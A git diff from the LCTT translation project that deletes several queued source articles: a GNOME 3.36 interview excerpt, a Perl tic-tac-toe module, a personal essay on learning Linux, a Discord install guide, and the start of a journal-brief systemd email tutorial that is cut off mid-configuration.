"Do Not Disturb" feature][2] - -Click "Do Not Disturb" to turn off notifications. (GNOME, [CC BY-SA 4.0][3]) - -![Notifications options in GNOME Settings][4] - -You can turn off notifications for individual applications in the Settings app. (Jim Hall, [CC BY-SA 4.0][3]) - -We also added extra polish to the GNOME lock screen. This updated lock screen has been in the works for ages, and now it's ready. The new GNOME lock screen will blur the background of your current workspace but doesn't show your running applications. It's a great feature for the user experience. We've been working on that for the last three or four cycles, and we fixed a lot of things along the way to make that work well. - -Another thing that's important for user experience is that [there is a new] place to put all the extensions. [It was in] GNOME Software Center, but no one knew to look there. Now there's a separate application to manage it. - -![GNOME Extensions app][5] - -The new Extensions app lets you change extension preferences or turn off those you don't want. (GNOME, [CC BY-SA 4.0][3]) - -And there's lots of little polish added to the GNOME Shell itself. For example, the application folders in the GNOME Shell application launcher are a great new feature. It's really easy to create your own application groups or folders in the launcher. A lot of people had asked for this for a long time. Application folders actually landed in an earlier GNOME release, but [the feature] needed extra work to make it really great, and that's what you see in GNOME 3.36. - -**JH: What are some features of GNOME that more people should know about?** - -**EB:** I don't know that there are other features that are really big in GNOME 3.36. If you're already using GNOME, the biggest thing you'll see is the improved user experience. If you aren't using GNOME, then the big thing is the consistent behavior in using GNOME. It's about a smooth experience with your computer, like your computer isn't going to be bothering you. - -Password fields are easier. This used to be in a menu that you had to know existed if you wanted to use it, but now it's right there. - -**JH: This is a great feature if you use long and complex passwords, like me. In any GNOME prompt where you would type in a password, you can click a little icon to expose your password to make sure you typed it correctly.** - -![GNOME lock screen][6] - -The lock screen includes the new "show your password" feature. (GNOME, [CC BY-SA 4.0][3]) - -**EB:** The new application folders in the GNOME application launcher is another [feature to know about]. The folders are easier to see, and they look great. GNOME will suggest a name for the application folder, but it's really easy to give that folder a different name. - -And more applications in GNOME are now responsive to being resized. They changed that in the user interface. The Settings app is a good example of that. If you make it too narrow, it changes how it displays things. We've been working on this for a while because of companies like Purism that are putting GNOME on other display sizes like phones or anyone who is using GNOME on other form factors. - -You don't notice some of the changes until you use them. There are lots of great features to see and that allow you to use GNOME in different ways. - -**JH: As a GNOME developer and user, what GNOME features do you find most useful in your daily work?** - -**EB:** I get a lot of use in the keyboard navigation. I use the keyboard all the time, so I live with my hands on the keyboard. When I use the mouse, I sometimes can get RSI (repetitive strain injury) by using it too much. Being able to use the keyboard for everything is great. - -The keyboard shortcuts are part of the GNOME Accessibility. It's also part of a design direction to be able to count on keyboard shortcuts for things. Keyboard accessibility is a core part of the design language; it's not a side feature that will be dropped someday. - -And having multiple windows on the screen and being able to tile them up, so I have two windows side by side. That, and multiple workspaces. I used to micromanage my workspaces back in the 1990s with different virtual desktops. But I'd always create more virtual desktops than I needed. But in GNOME, it's easy enough to create a new workspace if you need it, and when you don't need it, it's gone. - -**JH: We're already in the GNOME 3.37 development cycle, with GNOME 3.38 planned for September 2020. What are some new features showing up that will interest people?** - -**EB:** There are new changes all the time. One thing we're working on is the application grid and making that customizable. Right now, the applications are listed alphabetically, but you will be able to drag them around in any order you want. That will finish a massive change that's been in the works for five years or more. The goal is to be less automated and more user-driven. - -Another thing happening is the GNOME Shell; developers want to do some tests on the Overview layout. Right now, you have a dashboard on the left and one on the right and windows in the center. We're trying to remove the dashboard because it's not helpful. If you want to configure it, you can. This is kind of being driven by the mobile effort. On the desktop, you're in Landscape mode and you have a lot of room to put things on the screen. But on mobile, you're probably in Portrait mode, and you have less space. So we're experimenting with new layouts and new ways to display the content. Some of that will land in GNOME 3.38, but it's been a really long project, so we'll see. - -There are more features in GNOME Settings. A multi-tasking panel is planned in GNOME 3.38. Some of these settings exist already in the GNOME Tweaks app, and some of those will move from Tweaks into the main Settings app. Like being able to disable the hot corner—some people don't like that feature. Or letting you control the user interface when it comes to multiple screens—like if you want workspaces on multiple screens or just want workspaces on your main screen. Lots of these settings are not exposed right now unless you go into GNOME Tweaks, so we're moving those. - -And I should mention that there's lots of work by everyone in GNOME to make things faster, even for people running on more limited systems like the Raspberry Pi. There's been a lot of work to get GNOME to perform better. That's a lot of work that people have been focusing on, because people really care about it. - -* * * - -You can download and learn more about GNOME, including its underlying technologies, getting involved, and more on its [website][7]. If you're curious to learn what else is new in GNOME, check out the [GNOME 3.36 release notes][8]. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/7/new-gnome-features - -作者:[Jim Hall][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jim-hall -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/gnome-3-opensourcecom-lead.png?itok=FCw4KaGT (Take a look at the latest from GNOME 3) -[2]: https://opensource.com/sites/default/files/uploads/gnome-do-not-disturb.png (GNOME "Do Not Disturb" feature) -[3]: https://creativecommons.org/licenses/by-sa/4.0/ -[4]: https://opensource.com/sites/default/files/uploads/gnome-settings-rhythmbox-notif.png (Notifications options in GNOME Settings) -[5]: https://opensource.com/sites/default/files/uploads/gnome-extensions.png (GNOME Extensions app) -[6]: https://opensource.com/sites/default/files/uploads/gnome-lock-screen.png (GNOME lock screen) -[7]: https://www.gnome.org/ -[8]: https://help.gnome.org/misc/release-notes/3.36/ diff --git a/sources/tech/20200729 Demonstrating Perl with Tic-Tac-Toe, Part 4.md b/sources/tech/20200729 Demonstrating Perl with Tic-Tac-Toe, Part 4.md deleted file mode 100644 index 4c7ca4782b..0000000000 --- a/sources/tech/20200729 Demonstrating Perl with Tic-Tac-Toe, Part 4.md +++ /dev/null @@ -1,144 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Demonstrating Perl with Tic-Tac-Toe, Part 4) -[#]: via: (https://fedoramagazine.org/demonstrating-perl-with-tic-tac-toe-part-4/) -[#]: author: (Gregory Bartholomew https://fedoramagazine.org/author/glb/) - -Demonstrating Perl with Tic-Tac-Toe, Part 4 -====== - -![][1] - -This is the final article to the series demonstrating Perl with Tic-Tac-Toe. This article provides a module that can compute better game moves than the previously presented modules. For fun, the modules _chip1.pm_ through _chip3.pm_ can be incrementally moved out of the _hal_ subdirectory in reverse order. With each chip that is removed, the game will become easier to play. The game must be restarted each time a chip is removed. - -### An example Perl program - -Copy and paste the below code into a plain text file and use the same one-liner that was provided in the [the first article][2] of this series to strip the leading numbers. Name the version without the line numbers _chip3.pm_ and move it into the _hal_ subdirectory. Use the version of the game that was provided in [the second article][3] so that the below chip will automatically load when placed in the _hal_ subdirectory. Be sure to also include both _chip1.pm_ and _chip2.pm_ from the second [and third][4] articles, respectively, in the _hal_ subdirectory. - -``` -00 # artificial intelligence chip -01 -02 package chip3; -03 require chip2; -04 require chip1; -05 -06 use strict; -07 use warnings; -08 -09 sub moverama { -10 my $game = shift; -11 my @nums = $game =~ /[1-9]/g; -12 my $rama = qr/[1973]/; -13 my %best; -14 -15 for (@nums) { -16 my $ra = $_; -17 next unless $ra =~ $rama; -18 $best{$ra} = 0; -19 for (@nums) { -20 my $ma = $_; -21 next unless $ma =~ $rama; -22 if (($ra-$ma)*(10-$ra-$ma)) { -23 $best{$ra} += 1; -24 } -25 } -26 } -27 -28 @nums = sort { $best{$b} <=> $best{$a} } keys %best; -29 -30 return $nums[0]; -31 } -32 -33 sub hal_move { -34 my $game = shift; -35 my $mark = shift; -36 my @mark = @{ shift; }; -37 my $move; -38 -39 $move = chip2::win_move $game, $mark, \@mark; -40 -41 if (not defined $move) { -42 $mark = ($mark eq $mark[0]) ? $mark[1] : $mark[0]; -43 $move = chip2::win_move $game, $mark, \@mark; -44 } -45 -46 if (not defined $move) { -47 $move = moverama $game; -48 } -49 -50 if (not defined $move) { -51 $move = chip1::hal_move $game; -52 } -53 -54 return $move; -55 } -56 -57 sub complain { -58 print 'Just what do you think you\'re doing, ', -59 ((getpwnam($ENV{'USER'}))[6]||$ENV{'USER'}) =~ s! .*!!r, "?\n"; -60 } -61 -62 sub import { -63 no strict; -64 no warnings; -65 -66 my $p = __PACKAGE__; -67 my $c = caller; -68 -69 *{ $c . '::hal_move' } = \&{ $p . '::hal_move' }; -70 *{ $c . '::complain' } = \&{ $p . '::complain' }; -71 -72 if (&::MARKS->[0] ne &::HAL9K) { -73 @{ &::MARKS } = reverse @{ &::MARKS }; -74 } -75 } -76 -77 1; -``` - -### How it works - -Rather than making a random move or making a move based on probability, this final module to the Perl Tic-Tac-Toe game uses a more [deterministic][5] algorithm to calculate the best move. - -The big takeaway from this Perl module is that it is yet another example of how references can be misused or abused, and as a consequence lead to unexpected program behavior. With the addition of this chip, the computer learns to cheat. Can you figure out how it is cheating? Hints: - - 1. Constants [are implemented as subroutines][6]. - 2. References allow data to be modified out of scope. - - - -### Final notes - -Line 12 demonstrates that a regular expression can be [pre-compiled][7] and stored in a scalar for later use. This is useful as performance optimization when you intend to re-use the same regular expression many times over. - -Line 59 demonstrates that [some system library calls][8] are available directly in Perl’s built-in core functionality. Using the built-in functions alleviates some overhead that would otherwise be required to launch an external program and setup the I/O channels to communicate with it. - -Lines 72 and 73 demonstrate the use of **&::** as [a shorthand for **&main::**][9]. - -The full source code for this Perl game can be cloned from the git repository available here: - --------------------------------------------------------------------------------- - -via: https://fedoramagazine.org/demonstrating-perl-with-tic-tac-toe-part-4/ - -作者:[Gregory Bartholomew][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://fedoramagazine.org/author/glb/ -[b]: https://github.com/lujun9972 -[1]: https://fedoramagazine.org/wp-content/uploads/2020/02/perl-tic-tac-toe-816x346.png -[2]: https://fedoramagazine.org/demonstrating-perl-with-tic-tac-toe-part-1/ -[3]: https://fedoramagazine.org/demonstrating-perl-with-tic-tac-toe-part-2/ -[4]: https://fedoramagazine.org/demonstrating-perl-with-tic-tac-toe-part-3/ -[5]: https://en.wikipedia.org/wiki/Deterministic_system -[6]: https://perldoc.perl.org/5.32.0/constant.html#TECHNICAL-NOTES -[7]: https://perldoc.perl.org/5.8.2/perlretut.html#Compiling-and-saving-regular-expressions -[8]: https://perldoc.perl.org/5.8.2/functions/getpwnam.html -[9]: https://perldoc.perl.org/perlmod.html#Packages diff --git a/sources/tech/20200729 How learning Linux introduced me to open source.md b/sources/tech/20200729 How learning Linux introduced me to open source.md deleted file mode 100644 index de43f960c0..0000000000 --- a/sources/tech/20200729 How learning Linux introduced me to open source.md +++ /dev/null @@ -1,78 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How learning Linux introduced me to open source) -[#]: via: (https://opensource.com/article/20/7/open-source-learning) -[#]: author: (Manaswini Das https://opensource.com/users/manaswinidas) - -How learning Linux introduced me to open source -====== -An engineering student's open source internships and volunteer -contributions helped her land a full-time developer job. -![Woman sitting in front of her computer][1] - -When I entered the engineering program as a freshman in college, I felt like a frivolous teenager. In my sophomore year, and in a fortunate stroke of serendipity, I joined [Zairza][2], a technical society for like-minded students who collaborated and built projects separate from the academic curriculum. It was right up my alley. Zairza provided me a safe space to learn and grow and discover my interests. There are different facets and roadways to development, and as a newbie, I didn't know where my interests lay. - -I made the switch to Linux then because I heard it is good for development. Fortunately, I had Ubuntu on my system. At first, I found it obnoxious to use because I was used to Windows. But I slowly got the hang of it and fell in love with it over time. I started exploring development by trying to build apps using Android and creating data visualizations using Python. I built a Wikipedia Reader app using the [Wikipedia API][3], which I thoroughly enjoyed. I learned to use Git and put my projects on GitHub, which not only helped me showcase my projects but also enabled me to store them. - -I kept juggling between Ubuntu and other Linux distributions. My machine wasn't able to handle Android Studio since it consumed a lot of RAM. I finally made a switch to Fedora in 2016, and I have not looked back since. - -At the end of my sophomore year, I applied to [Rails Girls Summer of Code][4] with another member of Zairza, [Anisha Swain][5], where we contributed to [HospitalRun][6]. I didn't know much about the tech stack, but I tagged along with her. This experience introduced me to open source. As I learned more about it, I came to realize that open source is ubiquitous. The tools I had used for a long time, like Git, Linux, and even Fedora, were open source all the while. It was fascinating! - -I made my first contribution when I participated in [Hacktoberfest][7] 2017\. I started diving deep and contributing to projects on GitHub. Slowly, I began gaining confidence. All the communities were newcomer-friendly, and I no longer felt like a fish out of water. - -In November 2017, I began learning about other open source programs like [Google Summer of Code][8] and [Outreachy][9]. I discovered that Outreachy runs twice a year and decided to apply for the December to March cohort. It was late to apply, but I wanted to participate. I chose to contribute to [Ceph][10] and built some data visualizations using JavaScript. The mentors were helpful and amiable. I wasn't able to get through the project but, to be honest, I didn't think I tried hard enough. So, I decided to participate in the next cohort and contribute to projects that piqued my interest. - -I started looking for projects as soon as they were announced on the Outreachy website. I found a Django project under the [Open Humans Foundation][11] and started contributing. I wasn't familiar with Django, but I learned it on the go. I enjoyed every bit of it! I learned about [GraphQL][12], [Django][13], and APIs in general. Three months after I started making contributions, the project announced its new interns. To my utter surprise, I got through. I was overjoyed! I learned many new things throughout my internship, and my mentor, Mike Escalante, was very supportive and helpful. I would like to extend my heartfelt gratitude to the Open Humans Foundation for extending this opportunity to me. I also attended [PyCon India][14] in Hyderabad the same year. I had never attended a conference before; it felt great to meet other passionate Pythonistas, and I could feel the power of community. - -At the end of 2018, when I was edging closer to the end of my engineering program, I started preparing for interviews. That was a roller-coaster ride. I wasn't able to get past the second technical round in most of them. - -In the meantime, I participated in the [Processing Foundation's fellowship program][15], where I worked with two other fellows, [Nancy Chauhan][16] and Shaharyar Shamshi, on promoting software literacy and making Processing's tools accessible to the Indian community. I applied as a mentor to open source programs, including [GirlScript Summer of Code][17] (GSSoC). Despite being a first-timer mentor, I found it really rewarding. - -I also delivered [a talk][18] on my Outreachy project at [DjangoCon Europe][19] in April 2019. It was my first talk and also my first time alone abroad! I got a chance to interact and connect with the larger Django community, and I'm still in touch with the Djangonaut friends I made there. In July 2019, I started a [PyLadies chapter in Bhubaneswar][20], India, which held its first meetup the same month. - -I went on job interviews relentlessly. I felt despondent and useless at times, but I realized I was getting better at them. I learned about internship openings at Red Hat in June 2019. I applied, and after several rounds, I got one! I started interning with Red Hat at the end of July and started working full time in January 2020. - -It's been a year since I joined Red Hat, and not a single day has gone by without me learning something. In the last year, I have mentored in various open source programs, including [Google Code-In][21], GSSoC, [Red Hat Open Source Contest][22], and [Mentors Without Borders][23]. I have also discovered that I love to attend and speak at conferences. So far, I have spoken at conferences including PyCon, DjangoCon, and [Git Commit Show][24] and local meetups including Rails Girls Sekondi, PyLadies Bangalore, and Women Techmakers Bhubaneswar. - -This journey from a confused teenager to a confident learner has been fulfilling in every possible way. To any student reading this, I advise: never stop learning. Even in these unprecedented times, the world is still your oyster. Participating in open source internships and other programs is not a prerequisite to becoming a successful programmer. Everyone is unique. Open source programs help boost your confidence, but they are not a must-have. And, if you do participate, even if you don't complete anything, don't worry. Believe in yourself, and keep looking for new opportunities to learn. Keep feeding your curiosity—and don't forget to pat yourself on your back for your efforts. The tassel is going to be worth the hassle. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/7/open-source-learning - -作者:[Manaswini Das][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/manaswinidas -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/OSDC_women_computing_2.png?itok=JPlR5aCA (Woman sitting in front of her computer) -[2]: https://zairza.in/ -[3]: https://www.mediawiki.org/wiki/API:Main_page -[4]: https://railsgirlssummerofcode.org/ -[5]: https://github.com/Anisha1234 -[6]: https://hospitalrun.io/ -[7]: https://hacktoberfest.digitalocean.com/ -[8]: https://summerofcode.withgoogle.com/ -[9]: http://outreachy.org/ -[10]: https://ceph.io/ -[11]: http://openhumansfoundation.org/ -[12]: https://graphql.org/ -[13]: https://www.djangoproject.com/ -[14]: https://in.pycon.org/2018/ -[15]: https://medium.com/processing-foundation/meet-our-2019-fellows-9f13d4e4a68a -[16]: https://nancychauhan.in/ -[17]: https://www.gssoc.tech/ -[18]: https://www.youtube.com/watch?v=IJ3qMXBRUXo -[19]: https://2019.djangocon.eu/ -[20]: https://twitter.com/pyladiesbbsr -[21]: https://codein.withgoogle.com/archive/ -[22]: https://research.redhat.com/red-hat-open-source-contest/ -[23]: https://www.mentorswithoutborders.net/ -[24]: https://gitcommit.show/ diff --git a/sources/tech/20200729 How to Install Discord Application in Ubuntu and Other Linux Distributions -3 Methods.md b/sources/tech/20200729 How to Install Discord Application in Ubuntu and Other Linux Distributions -3 Methods.md deleted file mode 100644 index 5f02972a4e..0000000000 --- a/sources/tech/20200729 How to Install Discord Application in Ubuntu and Other Linux Distributions -3 Methods.md +++ /dev/null @@ -1,207 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How to Install Discord Application in Ubuntu and Other Linux Distributions [3 Methods]) -[#]: via: (https://itsfoss.com/install-discord-linux/) -[#]: author: (Abhishek Prakash https://itsfoss.com/author/abhishek/) - -How to Install Discord Application in Ubuntu and Other Linux Distributions [3 Methods] -====== - -[Discord][1] is a popular messaging application. It was originally intended for gamers but these days, it is considered a [Slack alternative][2] even for team and community communication. You can use it for text, voice and video messaging. - -Several open source project use it for communicating with project members and users. - -Discord is available on various platforms including desktop Linux. In this tutorial, I’ll show you various ways of installing Discord on Ubuntu, Debian and other Linux distributions. - - * [Installing Discord via DEB file][3] (applicable to Debian, Ubuntu, Linux Mint and other Debian/Ubuntu based distributions) - * [Installing Discord via Snap or Flatpak][4] (applicable for distributions with Snap or Flatpak support) - * [Installing Discord in traditional way][5] (applicable for all distributions but need good knowledge of Linux commands) - - - -Non-FOSS alert! - -Discord application is not open source. But since they provide a Linux client and many Linux users rely on it, it’s been covered here. - -### Method 1: Installing Discord in Ubuntu and Debian-based Linux Distributions - -Go to the [download page of Discord][6] and download the deb file. Keep in mind that, Discord is only available for 64-bit systems. - -![Download Discord for Linux][7] - -[Installing deb file is easy][8]. Just double click on it to open it in the software manager and install it from there. You may also install and [use Gdebi tool][9] for this purpose. - -It will take a few seconds for installing and you should see a log in screen like this: - -![][10] - -The problem with this approach is that though you’ll have the latest Discord version, it won’t be updated to a newer version automatically in the future. - -You can either uninstall it from the software center or use this command in the terminal: - -``` -sudo apt remove discord -``` - -### Method 2: Installing Discord on Ubuntu and other Linux distributions using Snap package - -You can easily install Discord using Snap package in Ubuntu and various other Linux distributions with snap package support. - -The advantage is that you’ll always have the latest version of Discord and your installed version gets automatically updated. The downside is that Snap packages take longer to start. - -Ubuntu user can find [Discord snap package][11] in the Software Center and install from there: - -![Discord snap package is available in Ubuntu Software Center][12] - -If you have enabled Snap support on your Linux distribution, you can use the following command to install it: - -``` -sudo snap install discord -``` - -If you want to remove it, you can use the snap command to uninstall it: - -``` -sudo snap remove discord -``` - -Please note that [Discord is also available in Flatpak package format][13]. You can [use Flatpak][14] to install it in Fedora and other Linux distributions. - -### Method 3: Installing Discord in other Linux Distributions (intermediate to advanced level) - -Discord also provides a generic isntaller for using Discord on Linux. It comes in the traditional tar gz file. - -If you go for this way of installing Discord on Linux, then you should have at least a moderate [understanding of Linux directory structure][15] and Linux commands. You must also be comfortable using the terminal because this method involves using the terminal all the way. - -#### Step 1: Download Discord for Linux - -First [download the tar.gz file from Discord’s website][6]. - -I am using Discord version 0.0.10 in the tutorial. Your file name may or may not be different. Pay attention to it. - -#### Step 2: Extract the downloaded file to opt directory - -Go to directory where you have downloaded the file. Use the tar command to extract the .tar.gz file in the /opt directory. - -``` -sudo tar -xvzf discord-0.0.10.tar.gz -C /opt -``` - -Traditionally, the /opt directory is used for installing/keeping files of optional or additional Linux software. Since you opted for the traditional way, it only makes sense to use the traditional convention. - -#### Step 3: Create Discord command in bin directory - -Now you should have /opt/Discord directory with files related to Discord. You should have two important files to tackle here. A binary file named Discord and a desktop file named discord.desktop. - -Now, you should [create a symbolic link][16] to this binary file in /usr/bin directory. - -``` -sudo ln -sf /opt/Discord/Discord /usr/bin/Discord -``` - -The /usr/bin directory contains the binary executables for commands in your system. This way, any user can run the commands from anywhere in the system. - -#### Step 4: Create desktop icon and menu entry - -You have Discord available as a command for all users on the system. But you cannot find it in the system menu to launch it graphically. - -For that, you’ll have to use the discord.desktop file located in the extracted folder in the opt directory. - -You should pay attention to two lines here: Exec and Icon. - -The exec is for executable file and you can set it to /usr/bin/Discord . The Icon is for the image of Discord that will be displayed when you search for Discord in the menu. You can set it to the /opt/Discord/discord.png. This image is present in the extracted folder. - -You can [use nano editor][17] with sudo for editing this file or whichever [terminal-based text editor][18] you prefer. Your discord.desktop may look something like this: - -![][19] - -Your discord.desktop file is still in the /opt/Discord directory. You need to move it to /usr/share/applications directory so that your system can access this desktop entry. - -``` -sudo cp -r /opt/Discord/discord.desktop /usr/share/applications -``` - -Normally, you should see Discord added in the list of available applications in the menu immediately. If not, log out and log in again. - -#### Step 5: Run Discord - -You are done. Now if you search for Discord, you will find it in the menu and when you run it for the first time, it will do some configuration. - -![Running Discord for the first time][20] - -After that, it will bring you to the login screen. It automatically tried to log you in from your default browser. - -![][10] - -Enjoy Discord on Linux. If there is a new version of Discord in the future, you’ll have to remove the already installed version and then repeat the procedure with the new version. - -#### Removing Discord installed in the traditional way - -It would be unfair to just discuss how to install Discord. Let me give you some pointers about removing it as well. - -When you install Discord on Linux, it saves config file in .config/discord folder in your home directory. Delete these files: - -``` -rm -r ~/.config/discord -``` - -Next, remove the Discord directory from the /opt directory: - -``` -sudo rm -rf /usr/bin/Discord -``` - -Also delete the symbolic link you had created: - -``` -sudo rm /usr/bin/Discord -``` - -As the last step, remove the desktop file: - -``` -sudo rm /usr/share/applications/discord.desktop -``` - -**Did you manage to install Discord on Linux? Which method did you use?** - -I gave you various ways of installing Discord application on Linux. The traditional Linux way is somewhat complicated but at least this way you can install it on any Linux distribution. - -Did you manage to install it? Which method did you use and prefer? - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/install-discord-linux/ - -作者:[Abhishek Prakash][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/abhishek/ -[b]: https://github.com/lujun9972 -[1]: https://discord.com/ -[2]: https://itsfoss.com/open-source-slack-alternative/ -[3]: tmp.ehA52f5sBZ#via-deb -[4]: tmp.ehA52f5sBZ#via-snap -[5]: tmp.ehA52f5sBZ#traditional-method -[6]: https://discord.com/new/download -[7]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/07/download-discord-linux.png?ssl=1 -[8]: https://itsfoss.com/install-deb-files-ubuntu/ -[9]: https://itsfoss.com/gdebi-default-ubuntu-software-center/ -[10]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/07/discord-login-screen.jpg?ssl=1 -[11]: https://snapcraft.io/discord -[12]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/07/install-discord-snap.jpg?ssl=1 -[13]: https://flathub.org/apps/details/com.discordapp.Discord -[14]: https://itsfoss.com/flatpak-guide/ -[15]: https://linuxhandbook.com/linux-directory-structure/ -[16]: https://linuxhandbook.com/symbolic-link-linux/ -[17]: https://itsfoss.com/nano-editor-guide/ -[18]: https://itsfoss.com/command-line-text-editors-linux/ -[19]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/07/installing-discord-in-linux-traditional-way.png?ssl=1 -[20]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/07/discord-install.jpg?ssl=1 diff --git a/sources/tech/20200730 Monitor systemd journals via email.md b/sources/tech/20200730 Monitor systemd journals via email.md deleted file mode 100644 index ec60a5368b..0000000000 --- a/sources/tech/20200730 Monitor systemd journals via email.md +++ /dev/null @@ -1,284 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Monitor systemd journals via email) -[#]: via: (https://opensource.com/article/20/7/systemd-journals-email) -[#]: author: (Kevin P. Fleming https://opensource.com/users/kpfleming) - -Monitor systemd journals via email -====== -Get a daily email with noteworthy output from your systemd journals with -journal-brief. -![Note taking hand writing][1] - -Modern Linux systems often use systemd as their init system and manager for jobs and many other functions. Services managed by systemd generally send their output (of all forms: warnings, errors, informational messages, and more) to the systemd journal, not to traditional logging systems like syslog. - -In addition to services, Linux systems often have many scheduled jobs (traditionally called cron jobs, even if the system doesn't use `cron` to run them), and these jobs may either send their output to the logging system or allow the job scheduler to capture the output and deliver it via email. - -When managing multiple systems, you can install and configure a centralized log-capture system to monitor their behavior, but the complexity of centralized systems can make them hard to manage. - -A simpler solution is to have each system directly send "interesting" output to the administrator(s) by email. For systems using systemd, this can be done using Tim Waugh's [journal-brief][2] tool. This tool _almost_ served my needs when I discovered it recently, so, in typical open source fashion, I contributed various patches to add email support to the project. Tim worked with me to get them merged, and now I can use the tool to monitor the 20-plus systems I manage as simply as possible. - -Now, early each morning, I receive between 20 and 23 email messages: most of them contain a filtered view of each machine's entire systemd journal (with warnings or more serious messages), but a few are logs generated by scheduled ZFS snapshot-replication jobs that I use for backups. In this article, I'll show you how to set up similar messages. - -### Install journal-brief - -Although journal-brief is available in many Linux package repositories, the packaged versions will not include email support because that was just added recently. That means you'll need to install it from PyPI; I'll show you how to manually install it into a Python virtual environment to avoid interfering with other parts of the installed system. If you have a favorite tool for doing this, feel free to use it. - -Choose a location for the virtual environment; in this article, I'll use `/opt/journal-brief` for simplicity. - -Nearly all the commands in this tutorial must be executed with root permissions or the equivalent (noted by the `#` prompt). However, it is possible to install the software in a user-owned directory, grant that user permission to read from the journal, and install the necessary units as systemd `user` units, but that is not covered in this article. - -Execute the following to create the virtual environment and install journal-brief and its dependencies: - - -``` -$ python3 -m venv /opt/journal-brief -$ source /opt/journal-brief/bin/activate -$ pip install ‘journal-brief>=1.1.7’ -$ deactivate -``` - -In order, these commands will: - - 1. Create `/opt/journal-brief` and set up a Python 3.x virtual environment there - 2. Activate the virtual environment so that subsequent Python commands will use it - 3. Install journal-brief; note that the single-quotes are necessary to keep the shell from interpreting the `>` character as a redirection - 4. Deactivate the virtual environment, returning the shell back to the original Python installation - - - -Also, create some directories to store journal-brief configuration and state files with: - - -``` -$ mkdir /etc/journal-brief -$ mkdir /var/lib/journal-brief -``` - -### Configure email requirements - -While configuring email clients and servers is outside the scope of this article, for journal-brief to deliver email, you will need to have one of the two supported mechanisms configured and operational. - -#### Option 1: The `mail` command - -Many systems have a `mail` command that can be used to send (and read) email. If such a command is installed on your system, you can verify that it is configured properly by executing a command like: - - -``` -`$ echo "Message body" | mail --subject="Test message" {your email address here}` -``` - -If the message arrives in your mailbox, you're ready to proceed using this type of mail delivery in journal-brief. If not, you can either troubleshoot and correct the configuration or use SMTP delivery. - -To control the generated email messages' attributes (e.g., From address, To address, Subject) with the `mail` command method, you must use the command-line options in your system's mailer program: journal-brief will only construct a message's body and pipe it to the mailer. - -#### Option 2: SMTP delivery - -If you have an SMTP server available that can accept email and forward it to your mailbox, journal-brief can communicate directly with it. In addition to plain SMTP, journal-brief supports Transport Layer Security (TLS) connections and authentication, which means it can be used with many hosted email services (like Fastmail, Gmail, Pobox, and others). You will need to obtain a few pieces of information to configure this delivery mode: - - * SMTP server hostname - * Port number to be used for message submission (it defaults to port 25, but port 587 is commonly used) - * TLS support (optional or required) - * Authentication information (username and password/token, if required) - - - -When using this delivery mode, journal-brief will construct the entire message before submitting it to the SMTP server, so the From address, To address, and Subject will be supplied in journal-brief's configuration. - -### Set up configuration and cursor files - -Journal-brief uses YAML-formatted configuration files; it uses one file per desired combination of filtering parameters, delivery options, and output formats. For this article, these files are stored in `/etc/journal-brief`, but you can store them in any location you like. - -In addition to the configuration files, journal-brief creates and manages **cursor** files, which allow it to keep track of the last message in its output. Using one cursor file for each configuration file ensures that no journal messages will be lost, in contrast to a time-based log-delivery system, which might miss messages if a scheduled delivery job can't run to completion. For this article, the cursor files will be stored in `/var/lib/journal-brief` (you can store the cursor files in any location you like, but make sure not to store them in any type of temporary filesystem, or they'll be lost). - -Finally, journal-brief has extensive filtering and formatting capabilities; I'll describe only the most basic options, and you can learn more about its capabilities in the documentation for journal-brief and [systemd.journal-fields][3]. - -### Configure a daily email with interesting journal entries - -This example will set up a daily email to a system administrator named Robin at `robin@domain.invalid` from a server named `storage`. Robin's mail provider offers SMTP message submission through port 587 on a server named `mail.server.invalid` but does not require authentication or TLS. The email will be sent from `storage-server@domain.invalid`, so Robin can easily filter the incoming messages or generate alerts from them. - -Robin has the good fortune to live in Fiji, where the workday starts rather late (around 10:00am), so there's plenty of time every morning to read emails of interesting journal entries. This example will gather the entries and deliver them at 8:30am in the local time zone (Pacific/Fiji). - -#### Step 1: Configure journal-brief - -Create a text file at `/etc/journal-brief/daily-journal-email.yml` with these contents: - - -``` -cursor-file: '/var/lib/journal-brief/daily-journal-email' -output: - - 'short' -  - ‘systemd’ -inclusions: -  - PRIORITY: 'warning' -email: -  suppress_empty: false -  smtp: -    to: '”Robin” <[robin@domain.invalid][4]>' -    from: '"Storage Server" 